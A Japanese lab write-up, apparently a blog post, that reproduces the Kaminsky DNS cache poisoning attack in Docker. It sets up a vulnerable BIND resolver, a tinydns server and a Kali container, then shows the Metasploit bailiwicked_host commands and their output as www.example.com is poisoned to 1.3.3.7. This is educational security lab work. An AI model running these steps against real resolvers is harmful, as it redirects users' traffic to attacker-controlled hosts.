以下の記事でKaminsky Attackを試したのですが、VM上でDockerを立てて面倒だったのでDockerのみでやる方法を試してみました。
ここでは詳細を省いて書いているので詳細が知りたい方は以下。
http://qiita.com/knqyf263/items/b086bbfa391181ffa578
環境
全てDockerでやりました。
IPアドレス書きましたが、固定とかしてないので以下になったのは偶然です。
もし他に実験したい方がいれば各自変更して下さい。
- OS
- OS X 10.11.6
- Docker for Mac
- 1.12.6
- 攻撃者サーバ(Metasploit Framework)
- 172.17.0.2
- 被攻撃キャッシュサーバ(BIND)
- 172.17.0.3
- ルートサーバ 兼 example.nom権威サーバ(tinydns)
- 172.17.0.4
実験
以下は全てDocker for Macでやっています。
ルートサーバ 兼 example.nom権威サーバ(tinydns)
設定ファイル
tinydnsのDockerイメージを利用します。
まず、Mac上でtinydns.dataを用意します。
$ touch axfrdns.tcp
Dockerコンテナ起動
準備ができたので以下で起動します。
tinydnsの起動のためにはtinydns.dataが必要なので自分のアドレスに変更して作成します。
$ docker run --privileged --name tinydns --rm -it -v `pwd`:/data skurtzemann/tinydns bash
root@c955ccb16b76:/# ip a
root@c955ccb16b76:/# vim /data/tinydns.data
.:172.17.0.4:ns.toor.tss:518400
.example.com: 172.17.0.4:ns.example.com:3600
+www.example.com:192.168.33.100
今回は自分のアドレスが172.17.0.4だったので変更します。
遅延の設定
200msの遅延を入れます。
root@c955ccb16b76:/# tc qdisc add dev eth0 root netem delay 200ms
tinydnsの起動
init.shでtinydnsが起動します。
root@c955ccb16b76:/# ./init.sh
Building tinydns data
/usr/bin/tinydns-data
Building axfrdns tcp file
tcprules tcp.cdb tcp.tmp < tcp
Starting tinydns and axfrdns (svscan)
tinydnsの設定は完了です。
被攻撃キャッシュサーバ(BIND)
以下に脆弱なBINDのDockerfileを置いてあるのでこれを使います。
https://github.com/knqyf263/docker-kaminsky
起動後にcache.dbを先程のtinydnsのIPアドレスに変更します。
変更できたらBINDを起動します。runningと出ていれば大丈夫です。
# docker run --rm --name bind -it knqyf263/docker-kaminsky bash
[root@9bf6f2888d1a /]# vim /etc/cache.db
. 3600000 NS A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET. 3600000 A 172.17.0.4
[root@9bf6f2888d1a /]# /var/named/chroot/sbin/named -g -t /var/named/chroot -c /etc/named.conf
...
17-Jan-2017 04:13:01.865 running
攻撃者サーバ(Metasploit Framework)
Kali Linuxの公式Dockerイメージを使います。
起動したらMetasploit Frameworkをインストールします。
$ docker run --rm -t -i kalilinux/kali-linux-docker /bin/bash
root@20fd9d5decee:/# apt-get update
root@20fd9d5decee:/# apt-get install metasploit-framework
テスト
正しくexample.comのNSレコードが引けるか確認してみます。
docker execなどでBINDのコンテナに入り、名前解決してみます。
$ docker exec -it bind bash
[root@9bf6f2888d1a /]# dig @127.0.0.1 ns example.com
; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.47.rc1.el6_8.3 <<>> @127.0.0.1 ns example.com
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12159
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; QUESTION SECTION:
;example.com. IN NS
;; ANSWER SECTION:
example.com. 3598 IN NS ns.example.com.
;; ADDITIONAL SECTION:
ns.example.com. 3598 IN A 172.17.0.4
;; Query time: 0 msec
;; SERVER: 127.0.0.1#53(127.0.0.1)
;; WHEN: Tue Jan 17 04:17:44 2017
;; MSG SIZE rcvd: 62
正しく引けているようです。
攻撃する
msfconsoleを起動したあと、bailiwicked_hostモジュールを利用します。
root@20fd9d5decee:/# msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) >
適切にオプションを設定します。
msf auxiliary(bailiwicked_host) > set RHOST 172.17.0.3
RHOST => 172.17.0.3
msf auxiliary(bailiwicked_host) > set SRCPORT 10000
SRCPORT => 10000
msf auxiliary(bailiwicked_host) > set HOSTNAME www.example.com
HOSTNAME => www.example.com
msf auxiliary(bailiwicked_host) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliary(bailiwicked_host) > set RECONS 172.17.0.4
RECONS => 172.17.0.4
実行します。
msf auxiliary(bailiwicked_host) > run
[*] Targeting nameserver 172.17.0.3 for injection of www.example.com. as 1.3.3.7
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 259200 IN NS 3600.ns.example.com.
[*] Querying recon nameserver for address of 3600.ns.example.com....
[*] Got an A record: 3600.ns.example.com. 259200 IN A 172.17.0.4
[*] Checking Authoritativeness: Querying 172.17.0.4 for example.com....
[*] 3600.ns.example.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Calculating the number of spoofed replies to send per query...
[*] race calc: 100 queries | min/max/avg time: 0.2/0.38/0.2 | min/max/avg replies: 63/596/463
[*] Sending 694 spoofed replies from each nameserver (1) for each query
SIOCSIFFLAGS: Operation not permitted
[*] Attempting to inject a poison record for www.example.com. into 172.17.0.3:10000...
[*] Poisoning successful after 250 queries and 173500 responses: www.example.com == 1.3.3.7
[*] TTL: 43618 DATA: #<Resolv::DNS::Resource::IN::A:0x00561a9d862168>
[*] Auxiliary module execution completed
成功したと出たので、BIND上で名前を引いてみると確かに汚染されています。
[root@9bf6f2888d1a /]# dig @127.0.0.1 www.example.com +short
1.3.3.7
まとめ
最初からDockerでやればよかった。